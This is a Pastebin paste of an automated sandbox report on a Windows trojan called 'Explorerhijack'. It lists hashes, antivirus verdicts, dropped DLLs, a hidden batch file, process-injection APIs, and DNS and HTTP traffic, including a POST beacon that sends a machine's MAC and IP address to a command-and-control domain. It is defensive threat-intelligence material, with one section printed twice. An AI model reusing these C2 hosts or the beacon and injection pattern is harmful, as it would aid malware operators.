API tools faq
paste
paladin316

Exes_845aebe835cbdabf2500fc0ba620a70c_exe_2019-07-03_05_30.json

paladin316
Jul 3rd, 2019
2,457
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.06 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: "Explorerhijack"
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "Exes_845aebe835cbdabf2500fc0ba620a70c.exe"
  7. [*] File Size: 1257235
  8. [*] File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. [*] SHA256: "566ff94a771f2368d5fb07b83ef53d658c687d5cf6d45ab051f650f2397e2cc5"
  10. [*] MD5: "845aebe835cbdabf2500fc0ba620a70c"
  11. [*] SHA1: "434e6b5e9a82662134526b60b711733cd79f2a7d"
  12. [*] SHA512: "541855de1bb7c8ed84a8fab8fb928d4412d6b97d59cb6e974a00bfaefba2849d687f12260cc881d14a785443eabd42866e5a1e05efd3d23844b4abb0a2d1d087"
  13. [*] CRC32: "053EA54C"
  14. [*] SSDEEP: "24576:J4THWi93/DqhmdsWTBNTGwV35A17h1i4s7F9n/fISxZA9Me:JWHZpqhAfzT7921O4Sn/fhDAqe"
  15.  
  16. [*] Process Execution: [
  17. "Exes_845aebe835cbdabf2500fc0ba620a70c.exe",
  18. "svchost.exe",
  19. "cmd.exe",
  20. "PING.EXE"
  21. ]
  22.  
  23. [*] Signatures Detected: [
  24. {
  25. "Description": "Attempts to connect to a dead IP:Port (2 unique times)",
  26. "Details": [
  27. {
  28. "IP": "134.175.107.117:80"
  29. },
  30. {
  31. "IP": "118.25.165.228:443"
  32. }
  33. ]
  34. },
  35. {
  36. "Description": "Creates RWX memory",
  37. "Details": []
  38. },
  39. {
  40. "Description": "Possible date expiration check, exits too soon after checking local time",
  41. "Details": [
  42. {
  43. "process": "Exes_845aebe835cbdabf2500fc0ba620a70c.exe, PID 2788"
  44. }
  45. ]
  46. },
  47. {
  48. "Description": "Network anomalies occured during the analysis.",
  49. "Details": [
  50. {
  51. "Anomaly": "'1.0.0.1' getaddrinfo with no actual connection to the IP."
  52. }
  53. ]
  54. },
  55. {
  56. "Description": "Starts servers listening on 127.0.0.1:54323",
  57. "Details": []
  58. },
  59. {
  60. "Description": "A process created a hidden window",
  61. "Details": [
  62. {
  63. "Process": "Exes_845aebe835cbdabf2500fc0ba620a70c.exe -> C:\\Users\\user\\AppData\\Local\\Temp\\5110.bat"
  64. }
  65. ]
  66. },
  67. {
  68. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  69. "Details": [
  70. {
  71. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  72. },
  73. {
  74. "post_no_useragent": "HTTP traffic contains a POST request with no user-agent header"
  75. },
  76. {
  77. "suspicious_request": "http://aol.vready.cn/terminal/start-up"
  78. }
  79. ]
  80. },
  81. {
  82. "Description": "Performs some HTTP requests",
  83. "Details": [
  84. {
  85. "url": "http://aol.vready.cn/terminal/start-up"
  86. }
  87. ]
  88. },
  89. {
  90. "Description": "The binary likely contains encrypted or compressed data.",
  91. "Details": [
  92. {
  93. "section": "name: .rsrc, entropy: 8.00, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00132d13, virtual_size: 0x0013a000"
  94. }
  95. ]
  96. },
  97. {
  98. "Description": "Deletes its original binary from disk",
  99. "Details": []
  100. },
  101. {
  102. "Description": "File has been identified by 38 Antiviruses on VirusTotal as malicious",
  103. "Details": [
  104. {
  105. "MicroWorld-eScan": "Gen:Win32.ExplorerHijack.mjGeaWnBhJhi"
  106. },
  107. {
  108. "FireEye": "Generic.mg.845aebe835cbdabf"
  109. },
  110. {
  111. "ALYac": "Gen:Win32.ExplorerHijack.mjGeaWnBhJhi"
  112. },
  113. {
  114. "K7GW": "Trojan ( 005329b91 )"
  115. },
  116. {
  117. "K7AntiVirus": "Trojan ( 005329b91 )"
  118. },
  119. {
  120. "Arcabit": "Gen:Win32.ExplorerHijack.mjGeaWnBhJhi"
  121. },
  122. {
  123. "Invincea": "heuristic"
  124. },
  125. {
  126. "APEX": "Malicious"
  127. },
  128. {
  129. "GData": "Gen:Win32.ExplorerHijack.mjGeaWnBhJhi"
  130. },
  131. {
  132. "Kaspersky": "HEUR:Trojan.Win32.Generic"
  133. },
  134. {
  135. "BitDefender": "Gen:Win32.ExplorerHijack.mjGeaWnBhJhi"
  136. },
  137. {
  138. "Rising": "Stealer.OnLineGames!8.131/N3#100% (RDM+:cmRtazqHKne0QX8hhLf9snqKXzJR)"
  139. },
  140. {
  141. "Ad-Aware": "Gen:Win32.ExplorerHijack.mjGeaWnBhJhi"
  142. },
  143. {
  144. "Emsisoft": "Gen:Win32.ExplorerHijack.mjGeaWnBhJhi (B)"
  145. },
  146. {
  147. "Comodo": "Packed.Win32.Klone.~KMG@1knj1d"
  148. },
  149. {
  150. "F-Secure": "Trojan.TR/Downloader.Gen"
  151. },
  152. {
  153. "DrWeb": "Trojan.Packed"
  154. },
  155. {
  156. "TrendMicro": "Cryp_Xed-12"
  157. },
  158. {
  159. "Trapmine": "malicious.high.ml.score"
  160. },
  161. {
  162. "Sophos": "Mal/EncPk-BW"
  163. },
  164. {
  165. "Jiangmin": "Trojan/Genome.djbr"
  166. },
  167. {
  168. "Avira": "TR/Downloader.Gen"
  169. },
  170. {
  171. "Microsoft": "Trojan:Win32/Fuerboos.C!cl"
  172. },
  173. {
  174. "Endgame": "malicious (high confidence)"
  175. },
  176. {
  177. "ZoneAlarm": "HEUR:Trojan.Win32.Generic"
  178. },
  179. {
  180. "AhnLab-V3": "Packed/Upack"
  181. },
  182. {
  183. "Acronis": "suspicious"
  184. },
  185. {
  186. "MAX": "malware (ai score=82)"
  187. },
  188. {
  189. "VBA32": "BScope.Trojan.Downloader"
  190. },
  191. {
  192. "Cylance": "Unsafe"
  193. },
  194. {
  195. "TrendMicro-HouseCall": "Cryp_Xed-12"
  196. },
  197. {
  198. "Yandex": "Packed/Upack"
  199. },
  200. {
  201. "SentinelOne": "DFI - Malicious PE"
  202. },
  203. {
  204. "eGambit": "Unsafe.AI_Score_99%"
  205. },
  206. {
  207. "Fortinet": "W32/Onlinegames.QZO!tr"
  208. },
  209. {
  210. "Cybereason": "malicious.835cbd"
  211. },
  212. {
  213. "CrowdStrike": "win/malicious_confidence_100% (D)"
  214. },
  215. {
  216. "Qihoo-360": "Win32/Trojan.eba"
  217. }
  218. ]
  219. }
  220. ]
  221.  
  222. [*] Started Service: []
  223.  
  224. [*] Executed Commands: [
  225. "C:\\Windows\\syswow64\\svchost.exe -k NetTimeSvc",
  226. "C:\\Users\\user\\AppData\\Local\\Temp\\5110.bat ",
  227. "C:\\Windows\\system32\\PING.EXE ping 1.0.0.1 -n"
  228. ]
  229.  
  230. [*] Mutexes: [
  231. "[Guid(\"0A5D06B2-E8F1-42D1-B3AA-37D7C7174633\")]",
  232. "{B8592103-AE8C-4D37-807F-F1CB76E62B7C}",
  233. "[Guid(\"7583B8C3-2691-4F51-A989-D622AAC8508A\")]",
  234. "DBWinMutex"
  235. ]
  236.  
  237. [*] Modified Files: [
  238. "C:\\Windows\\System32\\ejxve32.dll",
  239. "C:\\Users\\user\\AppData\\Local\\Temp\\5110.bat",
  240. "C:\\Users\\user\\AppData\\Local\\Temp\\dekryb.dll",
  241. "C:\\Users\\user\\AppData\\Local\\Temp\\wakuekue.dll",
  242. "C:\\Users\\user\\AppData\\Local\\Temp\\RCXA672.tmp",
  243. "\\??\\nul"
  244. ]
  245.  
  246. [*] Deleted Files: [
  247. "C:\\Users\\user\\AppData\\Local\\Temp\\wakuekue.dll",
  248. "C:\\Users\\user\\AppData\\Local\\Temp\\RCXA672.tmp",
  249. "C:\\Users\\user\\AppData\\Local\\Temp\\Exes_845aebe835cbdabf2500fc0ba620a70c.exe",
  250. "C:\\Users\\user\\AppData\\Local\\Temp\\5110.bat"
  251. ]
  252.  
  253. [*] Modified Registry Keys: []
  254.  
  255. [*] Deleted Registry Keys: []
  256.  
  257. [*] DNS Communications: [
  258. {
  259. "type": "A",
  260. "request": "v2api.v6.cn",
  261. "answers": [
  262. {
  263. "data": "118.25.165.228",
  264. "type": "A"
  265. }
  266. ]
  267. },
  268. {
  269. "type": "A",
  270. "request": "aol.vready.cn",
  271. "answers": [
  272. {
  273. "data": "134.175.107.117",
  274. "type": "A"
  275. }
  276. ]
  277. }
  278. ]
  279.  
  280. [*] Domains: [
  281. {
  282. "ip": "118.25.165.228",
  283. "domain": "v2api.v6.cn"
  284. },
  285. {
  286. "ip": "134.175.107.117",
  287. "domain": "aol.vready.cn"
  288. }
  289. ]
  290.  
  291. [*] Network Communication - ICMP: []
  292.  
  293. [*] Network Communication - HTTP: [
  294. {
  295. "count": 1,
  296. "body": "channel_id=ttzxj5&mac=18-C0-86-CD-47-33&ip=169.254.255.254
  297. "uri": "http://aol.vready.cn/terminal/start-up",
  298. "user-agent": "",
  299. "method": "POST",
  300. "host": "aol.vready.cn",
  301. "version": "1.1",
  302. "path": "/terminal/start-up",
  303. "data": "POST /terminal/start-up HTTP/1.1\r\nHost: aol.vready.cn\r\nAccept: */*\r\nContent-Length: 57\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nchannel_id=ttzxj5&mac=18-C0-86-CD-47-33&ip=169.254.255.254
  304. "port": 80
  305. }
  306. ]
  307.  
  308. [*] Network Communication - SMTP: []
  309.  
  310. [*] Network Communication - Hosts: []
  311.  
  312. [*] Network Communication - IRC: []
  313.  
  314. [*] Static Analysis: {
  315. "pe": {
  316. "peid_signatures": [
  317. [
  318. "Upack V0.37 -> Dwing"
  319. ],
  320. [
  321. "Upack_Patch or any Version -> Dwing"
  322. ],
  323. [
  324. "WinUpack v0.39 final (relocated image base) -> By Dwing (c)2005 (h2)"
  325. ]
  326. ],
  327. "imports": [
  328. {
  329. "imports": [
  330. {
  331. "name": "LoadLibraryA",
  332. "address": "0x852ce3"
  333. },
  334. {
  335. "name": "GetProcAddress",
  336. "address": "0x852ce7"
  337. }
  338. ],
  339. "dll": "KERNEL32.DLL"
  340. }
  341. ],
  342. "digital_signers": null,
  343. "exported_dll_name": null,
  344. "actual_checksum": "0x0013dc5a",
  345. "overlay": null,
  346. "imagebase": "0x00400000",
  347. "reported_checksum": "0x00000000",
  348. "icon_hash": null,
  349. "entrypoint": "0x00852a37",
  350. "timestamp": "1970-01-01 01:08:16",
  351. "osversion": "4.0",
  352. "sections": [
  353. {
  354. "name": ".Upack",
  355. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  356. "virtual_address": "0x00001000",
  357. "size_of_data": "0x00000000",
  358. "entropy": "0.00",
  359. "raw_address": "0x00000000",
  360. "virtual_size": "0x0031f000",
  361. "characteristics_raw": "0xe0000060"
  362. },
  363. {
  364. "name": ".rsrc",
  365. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  366. "virtual_address": "0x00320000",
  367. "size_of_data": "0x00132d13",
  368. "entropy": "8.00",
  369. "raw_address": "0x00000200",
  370. "virtual_size": "0x0013a000",
  371. "characteristics_raw": "0xe0000060"
  372. }
  373. ],
  374. "resources": [],
  375. "dirents": [
  376. {
  377. "virtual_address": "0x00000000",
  378. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  379. "size": "0x00000000"
  380. },
  381. {
  382. "virtual_address": "0x00452ceb",
  383. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  384. "size": "0x00000014"
  385. },
  386. {
  387. "virtual_address": "0x00320000",
  388. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  389. "size": "0x000001e0"
  390. },
  391. {
  392. "virtual_address": "0x00000000",
  393. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  394. "size": "0x00000000"
  395. },
  396. {
  397. "virtual_address": "0x00000000",
  398. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  399. "size": "0x00000000"
  400. },
  401. {
  402. "virtual_address": "0x00000048",
  403. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  404. "size": "0x00000008"
  405. },
  406. {
  407. "virtual_address": "0x00000000",
  408. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  409. "size": "0x00000000"
  410. },
  411. {
  412. "virtual_address": "0x00000000",
  413. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  414. "size": "0x00000000"
  415. },
  416. {
  417. "virtual_address": "0x00000000",
  418. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  419. "size": "0x00000000"
  420. },
  421. {
  422. "virtual_address": "0x00000000",
  423. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  424. "size": "0x00000000"
  425. },
  426. {
  427. "virtual_address": "0x00000000",
  428. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  429. "size": "0x00000000"
  430. },
  431. {
  432. "virtual_address": "0x00000000",
  433. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  434. "size": "0x00000000"
  435. },
  436. {
  437. "virtual_address": "0x00000000",
  438. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  439. "size": "0x00000000"
  440. },
  441. {
  442. "virtual_address": "0x00000000",
  443. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  444. "size": "0x00000000"
  445. },
  446. {
  447. "virtual_address": "0x00000000",
  448. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  449. "size": "0x00000000"
  450. },
  451. {
  452. "virtual_address": "0x00000000",
  453. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  454. "size": "0x00000000"
  455. }
  456. ],
  457. "exports": [],
  458. "guest_signers": {},
  459. "imphash": "87bed5a7cba00c7e1f4015f1bdae2183",
  460. "icon_fuzzy": null,
  461. "icon": null,
  462. "pdbpath": null,
  463. "imported_dll_count": 1,
  464. "versioninfo": []
  465. }
  466. }
  467.  
  468. [*] Resolved APIs: [
  469. "shlwapi.dll.PathFileExistsA",
  470. "shlwapi.dll.PathAppendA",
  471. "kernel32.dll.ResumeThread",
  472. "kernel32.dll.GetModuleHandleA",
  473. "kernel32.dll.GetProcAddress",
  474. "kernel32.dll.VirtualAllocEx",
  475. "kernel32.dll.CreateRemoteThread",
  476. "kernel32.dll.CreateToolhelp32Snapshot",
  477. "kernel32.dll.CloseHandle",
  478. "kernel32.dll.CreateProcessW",
  479. "kernel32.dll.GetModuleFileNameA",
  480. "kernel32.dll.Process32First",
  481. "kernel32.dll.VirtualAlloc",
  482. "kernel32.dll.WriteFile",
  483. "kernel32.dll.lstrlenA",
  484. "kernel32.dll.lstrcatA",
  485. "kernel32.dll.Sleep",
  486. "kernel32.dll.GetTempPathA",
  487. "kernel32.dll.CreateFileA",
  488. "kernel32.dll.GetSystemDirectoryA",
  489. "kernel32.dll.QueryPerformanceFrequency",
  490. "kernel32.dll.Process32Next",
  491. "kernel32.dll.ExitProcess",
  492. "kernel32.dll.VerSetConditionMask",
  493. "kernel32.dll.lstrcmpiA",
  494. "kernel32.dll.VerifyVersionInfoW",
  495. "kernel32.dll.QueryPerformanceCounter",
  496. "kernel32.dll.GetTickCount",
  497. "kernel32.dll.ExpandEnvironmentStringsW",
  498. "kernel32.dll.SetFilePointerEx",
  499. "kernel32.dll.HeapReAlloc",
  500. "kernel32.dll.HeapSize",
  501. "kernel32.dll.WriteProcessMemory",
  502. "kernel32.dll.WriteConsoleW",
  503. "kernel32.dll.CreateFileW",
  504. "kernel32.dll.GetCurrentProcess",
  505. "kernel32.dll.GetModuleHandleW",
  506. "kernel32.dll.GetConsoleMode",
  507. "kernel32.dll.GetConsoleCP",
  508. "kernel32.dll.UnhandledExceptionFilter",
  509. "kernel32.dll.SetUnhandledExceptionFilter",
  510. "kernel32.dll.TerminateProcess",
  511. "kernel32.dll.IsProcessorFeaturePresent",
  512. "kernel32.dll.GetCurrentProcessId",
  513. "kernel32.dll.GetCurrentThreadId",
  514. "kernel32.dll.GetSystemTimeAsFileTime",
  515. "kernel32.dll.InitializeSListHead",
  516. "kernel32.dll.IsDebuggerPresent",
  517. "kernel32.dll.GetStartupInfoW",
  518. "kernel32.dll.RtlUnwind",
  519. "kernel32.dll.RaiseException",
  520. "kernel32.dll.GetLastError",
  521. "kernel32.dll.SetLastError",
  522. "kernel32.dll.EnterCriticalSection",
  523. "kernel32.dll.LeaveCriticalSection",
  524. "kernel32.dll.DeleteCriticalSection",
  525. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  526. "kernel32.dll.TlsAlloc",
  527. "kernel32.dll.TlsGetValue",
  528. "kernel32.dll.TlsSetValue",
  529. "kernel32.dll.TlsFree",
  530. "kernel32.dll.FreeLibrary",
  531. "kernel32.dll.LoadLibraryExW",
  532. "kernel32.dll.MultiByteToWideChar",
  533. "kernel32.dll.GetStdHandle",
  534. "kernel32.dll.WideCharToMultiByte",
  535. "kernel32.dll.GetModuleHandleExW",
  536. "kernel32.dll.GetACP",
  537. "kernel32.dll.HeapAlloc",
  538. "kernel32.dll.HeapFree",
  539. "kernel32.dll.LCMapStringW",
  540. "kernel32.dll.GetFileType",
  541. "kernel32.dll.MoveFileExW",
  542. "kernel32.dll.FindClose",
  543. "kernel32.dll.FindFirstFileExA",
  544. "kernel32.dll.FindNextFileA",
  545. "kernel32.dll.IsValidCodePage",
  546. "kernel32.dll.GetOEMCP",
  547. "kernel32.dll.GetCPInfo",
  548. "kernel32.dll.GetCommandLineA",
  549. "kernel32.dll.GetCommandLineW",
  550. "kernel32.dll.GetEnvironmentStringsW",
  551. "kernel32.dll.FreeEnvironmentStringsW",
  552. "kernel32.dll.SetStdHandle",
  553. "kernel32.dll.GetStringTypeW",
  554. "kernel32.dll.GetProcessHeap",
  555. "kernel32.dll.FlushFileBuffers",
  556. "user32.dll.wsprintfA",
  557. "advapi32.dll.AdjustTokenPrivileges",
  558. "advapi32.dll.LookupPrivilegeValueA",
  559. "advapi32.dll.OpenProcessToken",
  560. "shell32.dll.ShellExecuteA",
  561. "kernel32.dll.InitializeCriticalSectionEx",
  562. "kernel32.dll.FlsAlloc",
  563. "kernel32.dll.FlsSetValue",
  564. "kernel32.dll.FlsGetValue",
  565. "kernel32.dll.LCMapStringEx",
  566. "kernel32.dll.SortGetHandle",
  567. "kernel32.dll.SortCloseHandle",
  568. "kernel32.dll.IsWow64Process",
  569. "setupapi.dll.CM_Get_Device_Interface_List_Size_ExW",
  570. "setupapi.dll.CM_Get_Device_Interface_List_ExW",
  571. "advapi32.dll.UnregisterTraceGuids",
  572. "comctl32.dll.#321",
  573. "ejxve32.dll.GO",
  574. "kernel32.dll.FlsFree",
  575. "kernel32.dll.InitOnceExecuteOnce",
  576. "kernel32.dll.CreateEventExW",
  577. "kernel32.dll.CreateSemaphoreW",
  578. "kernel32.dll.CreateSemaphoreExW",
  579. "kernel32.dll.CreateThreadpoolTimer",
  580. "kernel32.dll.SetThreadpoolTimer",
  581. "kernel32.dll.WaitForThreadpoolTimerCallbacks",
  582. "kernel32.dll.CloseThreadpoolTimer",
  583. "kernel32.dll.CreateThreadpoolWait",
  584. "kernel32.dll.SetThreadpoolWait",
  585. "kernel32.dll.CloseThreadpoolWait",
  586. "kernel32.dll.FlushProcessWriteBuffers",
  587. "kernel32.dll.FreeLibraryWhenCallbackReturns",
  588. "kernel32.dll.GetCurrentProcessorNumber",
  589. "kernel32.dll.CreateSymbolicLinkW",
  590. "kernel32.dll.GetTickCount64",
  591. "kernel32.dll.GetFileInformationByHandleEx",
  592. "kernel32.dll.SetFileInformationByHandle",
  593. "kernel32.dll.InitializeConditionVariable",
  594. "kernel32.dll.WakeConditionVariable",
  595. "kernel32.dll.WakeAllConditionVariable",
  596. "kernel32.dll.SleepConditionVariableCS",
  597. "kernel32.dll.InitializeSRWLock",
  598. "kernel32.dll.AcquireSRWLockExclusive",
  599. "kernel32.dll.TryAcquireSRWLockExclusive",
  600. "kernel32.dll.ReleaseSRWLockExclusive",
  601. "kernel32.dll.SleepConditionVariableSRW",
  602. "kernel32.dll.CreateThreadpoolWork",
  603. "kernel32.dll.SubmitThreadpoolWork",
  604. "kernel32.dll.CloseThreadpoolWork",
  605. "kernel32.dll.CompareStringEx",
  606. "kernel32.dll.GetLocaleInfoEx",
  607. "api-ms-win-core-synch-l1-2-0.dll.InitializeConditionVariable",
  608. "api-ms-win-core-synch-l1-2-0.dll.SleepConditionVariableCS",
  609. "api-ms-win-core-synch-l1-2-0.dll.WakeAllConditionVariable",
  610. "kernel32.dll.AreFileApisANSI",
  611. "dekryb.dll.Start",
  612. "cryptsp.dll.CryptAcquireContextW",
  613. "cryptsp.dll.CryptGenRandom",
  614. "cryptsp.dll.CryptReleaseContext",
  615. "kernel32.dll.EnumSystemLocalesEx",
  616. "kernel32.dll.GetDateFormatEx",
  617. "kernel32.dll.GetTimeFormatEx",
  618. "kernel32.dll.GetUserDefaultLocaleName",
  619. "kernel32.dll.IsValidLocaleName",
  620. "kernel32.dll.LCIDToLocaleName",
  621. "kernel32.dll.LocaleNameToLCID",
  622. "wakuekue.dll.Install",
  623. "wakuekue.dll.UnInstall",
  624. "wakuekue.dll.SetTargetUrlCString",
  625. "wakuekue.dll.SetRedirectUrlStatus",
  626. "uxtheme.dll.ThemeInitApiHook",
  627. "rpcrtremote.dll.I_RpcExtInitializeExtensionPoint",
  628. "kernel32.dll.QueryFullProcessImageNameA",
  629. "ws2_32.dll.inet_pton",
  630. "kernel32.dll.SetThreadUILanguage",
  631. "kernel32.dll.CopyFileExW",
  632. "kernel32.dll.SetConsoleInputExeNameW",
  633. "advapi32.dll.SaferIdentifyLevel",
  634. "advapi32.dll.SaferComputeTokenFromLevel",
  635. "advapi32.dll.SaferCloseLevel"
  636. ]
  637.  
  638. [*] Static Analysis: {
  639. "pe": {
  640. "peid_signatures": [
  641. [
  642. "Upack V0.37 -> Dwing"
  643. ],
  644. [
  645. "Upack_Patch or any Version -> Dwing"
  646. ],
  647. [
  648. "WinUpack v0.39 final (relocated image base) -> By Dwing (c)2005 (h2)"
  649. ]
  650. ],
  651. "imports": [
  652. {
  653. "imports": [
  654. {
  655. "name": "LoadLibraryA",
  656. "address": "0x852ce3"
  657. },
  658. {
  659. "name": "GetProcAddress",
  660. "address": "0x852ce7"
  661. }
  662. ],
  663. "dll": "KERNEL32.DLL"
  664. }
  665. ],
  666. "digital_signers": null,
  667. "exported_dll_name": null,
  668. "actual_checksum": "0x0013dc5a",
  669. "overlay": null,
  670. "imagebase": "0x00400000",
  671. "reported_checksum": "0x00000000",
  672. "icon_hash": null,
  673. "entrypoint": "0x00852a37",
  674. "timestamp": "1970-01-01 01:08:16",
  675. "osversion": "4.0",
  676. "sections": [
  677. {
  678. "name": ".Upack",
  679. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  680. "virtual_address": "0x00001000",
  681. "size_of_data": "0x00000000",
  682. "entropy": "0.00",
  683. "raw_address": "0x00000000",
  684. "virtual_size": "0x0031f000",
  685. "characteristics_raw": "0xe0000060"
  686. },
  687. {
  688. "name": ".rsrc",
  689. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  690. "virtual_address": "0x00320000",
  691. "size_of_data": "0x00132d13",
  692. "entropy": "8.00",
  693. "raw_address": "0x00000200",
  694. "virtual_size": "0x0013a000",
  695. "characteristics_raw": "0xe0000060"
  696. }
  697. ],
  698. "resources": [],
  699. "dirents": [
  700. {
  701. "virtual_address": "0x00000000",
  702. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  703. "size": "0x00000000"
  704. },
  705. {
  706. "virtual_address": "0x00452ceb",
  707. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  708. "size": "0x00000014"
  709. },
  710. {
  711. "virtual_address": "0x00320000",
  712. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  713. "size": "0x000001e0"
  714. },
  715. {
  716. "virtual_address": "0x00000000",
  717. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  718. "size": "0x00000000"
  719. },
  720. {
  721. "virtual_address": "0x00000000",
  722. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  723. "size": "0x00000000"
  724. },
  725. {
  726. "virtual_address": "0x00000048",
  727. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  728. "size": "0x00000008"
  729. },
  730. {
  731. "virtual_address": "0x00000000",
  732. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  733. "size": "0x00000000"
  734. },
  735. {
  736. "virtual_address": "0x00000000",
  737. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  738. "size": "0x00000000"
  739. },
  740. {
  741. "virtual_address": "0x00000000",
  742. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  743. "size": "0x00000000"
  744. },
  745. {
  746. "virtual_address": "0x00000000",
  747. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  748. "size": "0x00000000"
  749. },
  750. {
  751. "virtual_address": "0x00000000",
  752. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  753. "size": "0x00000000"
  754. },
  755. {
  756. "virtual_address": "0x00000000",
  757. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  758. "size": "0x00000000"
  759. },
  760. {
  761. "virtual_address": "0x00000000",
  762. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  763. "size": "0x00000000"
  764. },
  765. {
  766. "virtual_address": "0x00000000",
  767. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  768. "size": "0x00000000"
  769. },
  770. {
  771. "virtual_address": "0x00000000",
  772. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  773. "size": "0x00000000"
  774. },
  775. {
  776. "virtual_address": "0x00000000",
  777. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  778. "size": "0x00000000"
  779. }
  780. ],
  781. "exports": [],
  782. "guest_signers": {},
  783. "imphash": "87bed5a7cba00c7e1f4015f1bdae2183",
  784. "icon_fuzzy": null,
  785. "icon": null,
  786. "pdbpath": null,
  787. "imported_dll_count": 1,
  788. "versioninfo": []
  789. }
  790. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!